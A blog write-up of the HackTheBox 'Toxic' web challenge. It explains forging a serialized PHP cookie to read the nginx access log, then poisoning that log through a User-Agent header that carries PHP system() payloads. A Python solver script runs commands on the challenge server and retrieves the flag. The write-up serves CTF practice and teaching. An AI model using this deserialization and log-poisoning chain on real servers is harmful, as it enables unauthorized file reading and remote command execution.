HackTheBox – Toxic Write-up

Dear readers,

This post is on a web-based challenge on HackTheBox created on 1st May 2021 (see Fig 1) that tests on Log Poisoning attack via the UserAgent. Let’s dive straight into it.

Fig 1. Challenge on HackTheBox website

View of the website

When you first access the website, it looks just like what you see in Fig 2. However, there is nothing important on the webpage as no user inputs are required. Besides that, all the URL on the webpage redirects back to the top of the webpage.

Fig 2. Website of the challenge

Files provided

There are a number of files being provided which consist of the flag, the PHP file, the index.html file, other PHP files, the config files, and the docker files used to set up the server. However, the files provided are not totally accurate and the source code of the PHP files is partially given. The figures below show the important files provided. I did not show all the files as there are too many files and those not shown were not required to obtain the flag.

Fig 3a. Root folder of the files provided
Fig 3b. Inside the config folder
Fig 3c. Inside the challenge folder
Fig 3d. Inside the models folder

When looking through index.php, it can be seen that only partial source code was given. This can be noticed as it started with a PHP start tag while the PHP end tag is missing (see Fig 4a). In line 10, we can see that if no cookie is provided, an object of PageModel class will be created where the file in it will be assigned to /www/index.html. Next, the PageModel‘s object will then be serialized to maintain the values so that the values will easily be assigned back to PageModel‘s object in line 24. Before passing it as a value for the cookie, the serialized value (in JSON tree-liked format) undergoes base 64 encodings to format a long string of random text. This value of the cookie can be seen in Fig 4c.

Fig 4a. Partial source code of index.php
Fig 4b. Partial source code of PageModel.php
Fig 4c. Original cookie value created by index.php

Since we know that the cookie’s value will be used again when decoded and unserialized, we can modify the cookie to read other files. Therefore, we can look at the config files and docker files to see what files can we read from. Therefore, we can try to create our cookie value using an online PHP compiler. I used PHP Sandbox. I created the PageModel class but without the function in it as serialization only bothers with variables therefore methods of the class are not needed. I created the source code to print out the cookie value as shown below:

<?php
class PageModel
{
    public $file;
}
?>

<?php
    $page = new PageModel;
    $page->file = '/www/index.html';
    print(base64_encode(serialize($page)))
?>

// printed cookie value: Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9

If we take a look at the docker file, we will notice that the flag is being copied into the /flag folder (see Fig 4d). However, if we try to read the flag folder by creating the cookie value for it, we will notice that nothing is returned. This is because the flag name is different from what is given in the docker file. In-fact, each machine/server instance has a different file name for the flag. We will see it later.

Fig 4d. Copying of flag file in Dockerfile

If we analyze all the files, we will come across nginx.conf file. In this file, the log file comes to attention (see Fig 4e). If we are able to modify the cookie value and view the content of the cookie, we will be able to use the log poisoning technique to access all the files on the server.

Fig 4e. Access log file location in nginx.conf

If we generate the cookie’s value for /var/log/nginx/access.log, it will give a cookie value shown below:

<?php
class PageModel
{
    public $file;
}
?>

<?php
    $page = new PageModel;
    $page->file = '/var/log/nginx/access.log';
    print(base64_encode(serialize($page)))
?>

// printed cookie value: Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==

As a result, I created a Python script to make a request to the website and added my own cookie value as well as the user-agent:

import requests

# CODE FOR THE COOKIE SHOWN AT THE BOTTOM OF THE SOURCE CODE
cookies = {'PHPSESSID': "Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ=="}
headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0"}
url = "http://159.65.95.35:30381" # address and port changes whenever start a new instance of the website

response = requests.get(url, cookies=cookies, headers=headers)
webpage = response.text

print(response.text)

When I tried to access the log file, it works. The result can be seen in Fig 4f.

Fig 4f. Access log initial content

Log poisoning attack

As we know we can read the log file, this allows us to poison the log file with the directory of the “/” folder to see our flag’s file name. If we look at the access log, we can see that even the GET request’s content is printed. Besides that, we can see that our user-agent is being printed (see Fig 5a). Therefore, we can use the user-agent as the attack vector.

Fig 5a. User-agent printed on the access log file

To being log poisoning, my Python code file was modified to include a PHP script on the user-agent to print all the files in the “/” folder and the file types:

import requests

# CODE FOR THE COOKIE SHOWN AT THE BOTTOM OF THE SOURCE CODE
cookies = {'PHPSESSID': "Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ=="}
# log poisoning: https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html
headers = {'User-Agent': "<?php system('ls -l /');?>"}    # access log poison to get all content of the root folder (STEP 1)
url = "http://159.65.95.35:30381" # address and port changes whenever start a new instance of the website

response = requests.get(url, cookies=cookies, headers=headers)
webpage = response.text

print(response.text)

After executing the script a few times, we will be able to see the files in the “/” folder being printed on the access log file (see Fig 5b). You can ignore the IP address printed as it is different from the Python source code I have given as well as the previous figures as I relaunched the machine/instance causing it to give a new IP address to the website. It doesn’t matter anyway.

Fig 5b. Files in “/” directory is printed in the access log

We can see that the flag has a different file name at the end. Since it is a text file, this shows that the previous info at Dockerfile in Fig 4d was not correct as fake information was given to us.

Flag obtained

We can either generate another cookie value to read the flag file or we can just print the flag’s content into the access log using log poisoning. I chose the latter. The full source code can be seen below.

import requests

# Using this website to generate the cookie value: https://sandbox.onlinephpfunctions.com/
# CODE FOR THE COOKIE SHOWN AT THE BOTTOM OF THE SOURCE CODE
cookies = {'PHPSESSID': "Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ=="}
# log poisoning: https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html
# headers = {'User-Agent': "<?php system('ls -l /');?>"}    # access log poison to get all content of the root folder (STEP 1)
headers = {'User-Agent': "<?php system('cat /flag_TUJVt');?>"}  # print out the flag in the access log (STEP 2)
url = "http://159.65.95.35:30381" # address and port changes whenever start a new instance of the website

response = requests.get(url, cookies=cookies, headers=headers)
webpage = response.text

print(response.text)

# FOR COOKIE VALUE GENERATION
# <?php
# class PageModel
# {
#     public $file;
# }
# ?>
#
# <?php
#     $page = new PageModel;
#     $page->file = '/var/log/nginx/access.log';
#     print(base64_encode(serialize($page)))
# ?>

Finally, the flag will be printed which is: HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}

Fig 6. Flag obtained from access log

I have uploaded the files given along with the Python source code I called, solver.py. You can download them here.

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.